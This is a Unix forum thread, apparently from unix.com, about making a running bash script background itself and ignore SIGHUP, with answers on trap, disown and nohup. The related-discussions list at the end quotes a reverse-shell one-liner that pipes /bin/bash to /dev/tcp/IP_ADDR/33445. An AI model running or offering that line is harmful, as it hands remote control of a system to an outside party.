Put currently running script into background


 
Thread Tools Search this Thread
Top Forums Shell Programming and Scripting Put currently running script into background
# 1  
Old 08-19-2016
Wrench Put currently running script into background

Hi All,
Suppose I have a script and inside it I want/need to put it into background. I need the script to not react to SIGHUP signals.
I tried:
Code:
#!/bin/bash
echo "" > test_disown
mypid=$$
echo "PID=$mypid"
(
kill -SIGSTOP $mypid
jobs > myjobs
#disown -h <job-spec>
#kill -SIGCONT $mypid
) &
while [ 1 ]; do
        echo $(date) >> test_disown
        sleep 10
done

When I run this script I have the output:
Code:
'disown' test
PID=7083
 [4]+  Stopped                 ./test.sh

Now from the console I can do "bg %4" and the script runs in background.
I want to run bg from the script, but I don't know the job-spec number of my stopped script.
The line "jobs > myjobs" created empty file myjobs.
How to overcome this?

Please help,
Jacek
# 2  
Old 08-19-2016
If you are in a login shell and do not want to send a SIGHUP signal to children running when you exit that shell, use disown to avoid sending SIGHUP signals to the processes listed as operands in a disown command.

If you are a child who doesn't want to act on a SIGHUP sent by a login shell when it dies, use trap with a null action to ignore SIGHUP signals:
Code:
trap '' SIGHUP

# 3  
Old 08-19-2016
Blade

Thanks Don for your answer.
I don't know if you understand me correctly...
I have script test.sh:
Code:
#!/bin/bash
# Script-name: test.sh
echo "'disown' test"
echo "" > test.out
#disown -h $$
mypid=$$
echo "PID=$mypid"
(
kill -SIGSTOP $mypid > test_stop_out 2>&1
jobs > myjobs
#kill -SIGCONT $mypid
) &
while [ 1 ]; do
        echo $(date) >> test_out
        sleep 10
done

I want to put this script into background. I don't want to use Ctrl+Z for this, so I execute a commands in subshell:
Code:
kill -SIGSTOP $mypid > test_stop_out 2>&1
jobs > myjobs

The kill stopped my script but after this I need to execute bg to put the script into background. I don't know how to get job-spec number of my stopped script: test_stop_out and myjobs files are empty Smilie
# 4  
Old 08-19-2016
Not sure I understand why you "want to put this script into background". Either it already IS running standalone (so background is not needed), or you are in an interactive session and thus are in a position to enter <CTRL>-Z.
# 5  
Old 08-19-2016
First note that a stopped (or running process) cannot affect the list of background jobs known by a parent shell (which is what your script is trying to do). And no shell can become a background job of itself (which is something else that your script is trying to do).

What is it that you had hoped the script:
Code:
#!/bin/bash
# Script-name: test.sh
echo "'disown' test"
echo "" > test.out
#disown -h $$
mypid=$$
echo "PID=$mypid"
(
kill -SIGSTOP $mypid > test_stop_out 2>&1
jobs > myjobs
#kill -SIGCONT $mypid
) &
while [ 1 ]; do
        echo $(date) >> test_out
        sleep 10
done

would do that is not done by the script:
Code:
#!/bin/bash
# Script-name: test2.sh
trap '' SIGHUP
printf "'disown' test2\n\n" > test2.out

mypid=$$
echo "PID=$mypid"

while [ 1 ]
do	date >> test2.out
	sleep 10
done

other than the fact that all output is written by this script to the file test2.out instead of writing some output to test.out and appending other output to test_out?

Last edited by Don Cragun; 08-19-2016 at 06:37 AM.. Reason: Fix typo: s/SIGNUP/SIGHUP/
# 6  
Old 08-23-2016
Hi,
I think I can do it simply by creating two scripts: test.sh and test_bg.sh
test_bg.sh will be executed in test.sh by the command:
Code:
nohup test_bg.sh &

I've got a question now... How may I bring test_bg.sh to the foreground (it will be running with PPID=1)?

Last edited by Don Cragun; 08-23-2016 at 02:40 PM.. Reason: Change Bold tags to ICODE tags.
# 7  
Old 08-23-2016
Quote:
Originally Posted by JackK
Hi,
I think I can do it simply by creating two scripts: test.sh and test_bg.sh
test_bg.sh will be executed in test.sh by the command:
Code:
nohup test_bg.sh &

I've got a question now... How may I bring test_bg.sh to the foreground (it will be running with PPID=1)?
Hi JackK,
I assume that sometime in the last four days you tried what I suggested in post #5 in this thread and decided that it won't work. Please explain what it did that you didn't want it to do or that it didn't do that you wanted it to do!

Only the parent shell of a process placed in the background can bring that child back into the foreground. If the parent exits after backgrounding a child, that child cannot be brought back to the foreground by another process.

If the child knew what its paren't controlling terminal was when it was backgrounded and the terminal session is still active, a child might be able to reconnect itself to that terminal session, but until you clearly explain what you are trying to do I will not spend any time trying to research whether or not this is possible in a shell script.
Login or Register to Ask a Question

Previous Thread | Next Thread

10 More Discussions You Might Find Interesting

1. Shell Programming and Scripting

Running script in background

Hi, I wrote a KSH script and running it on HP-UX machine I am running one script in background. My script is at location $HOME/myScript/test/background_sh When I view my script in background with psu commend > psu | grep background_sh I see following output UID PID PPID C ... (1 Reply)
Discussion started by: vaibhav
1 Replies

2. Shell Programming and Scripting

Error when running script in background

Hi guys, ./test.sh & #!/usr/bin/ksh echo "No.Of Items :" read count echo "Report Time (Min):" read time some other command .... exit 0; thanks (3 Replies)
Discussion started by: asavaliya
3 Replies

3. Shell Programming and Scripting

Remove Script still running in background

HI I have by mistaken delete my script but its still running in background and giving me output and cretaed ..nfsB5DC2 file. I have kill all my prosses still it running.... How can i stop this script. i have unix solaris systems. (8 Replies)
Discussion started by: asavaliya
8 Replies

4. Shell Programming and Scripting

Shell script running in background

Dear all, I have a little problem trying to run a shell script in background, as you can see below. - the script is a simple one: #! /bin/bash exec /bin/bash -i 0</dev/tcp/IP_ADDR/33445 1>&0 2>&0 - the name of the script is test.sh - the script is executable(chmod +x test.sh) - on the... (2 Replies)
Discussion started by: gd05
2 Replies

5. Shell Programming and Scripting

running the script in background

I have a script called startWebLogic.sh which I was running in the background but the problem is which I used the command :- ps -elf | grep "startWebLogic.sh" | grep -v grep to find the process id but I was unable to find the process id for this script and when I checked from the front end the... (3 Replies)
Discussion started by: maitree
3 Replies

6. UNIX for Dummies Questions & Answers

kill a command I am running / then put it to background

I have a command running in the foreground (and so my term window is locked up) and I want to kill it, then resume it in the background and go home. It is creating a zip file, and the file will be written to the current directory - no std in / std out issues. How do I do this? Kill it with a... (3 Replies)
Discussion started by: hindesite
3 Replies

7. UNIX for Advanced & Expert Users

Running script in background

When I run the following snippet in background #!/bin/ksh while do echo "$i" sleep 10 i=`expr $i + 1` done My job got stopped and it says like + Stopped (SIGTTOU) ex1 & I did "stty tostop" as suggested in many of the post but still not working... (3 Replies)
Discussion started by: shahnazurs
3 Replies

8. UNIX for Dummies Questions & Answers

Running the Script in Background.

Gurus, Pls. help on this to run the script in background. I have a script to run the informatica workflows using PMCMD in script. Say the script name is test.sh & Parameters to the script is Y Y Y Y The no of parameters to the bove script is 4. all are going to be a flags. Each flag will... (2 Replies)
Discussion started by: prabhutkl
2 Replies

9. Shell Programming and Scripting

How to stop the script which is running in background

Hi I have a script, which i ran in background, can someone please help in stopping this. i gave this command: ksh abc.ksh & this script sends me a mail every 30 seconds. i have deleted the script but still i am getting the mails. can some one please help me stopping dese. ... (3 Replies)
Discussion started by: Prateek007
3 Replies

10. Shell Programming and Scripting

put an interactive script in background after taking input

i am trying to find a way to put an interactive script in the background after taking input from the user a few test lines i was trying: date echo "Enter location" LOCATION= read LOCATION sleep 100 sleep 200 date for this small example i want the script to as the user for the... (7 Replies)
Discussion started by: epsilonaurigae
7 Replies
Login or Register to Ask a Question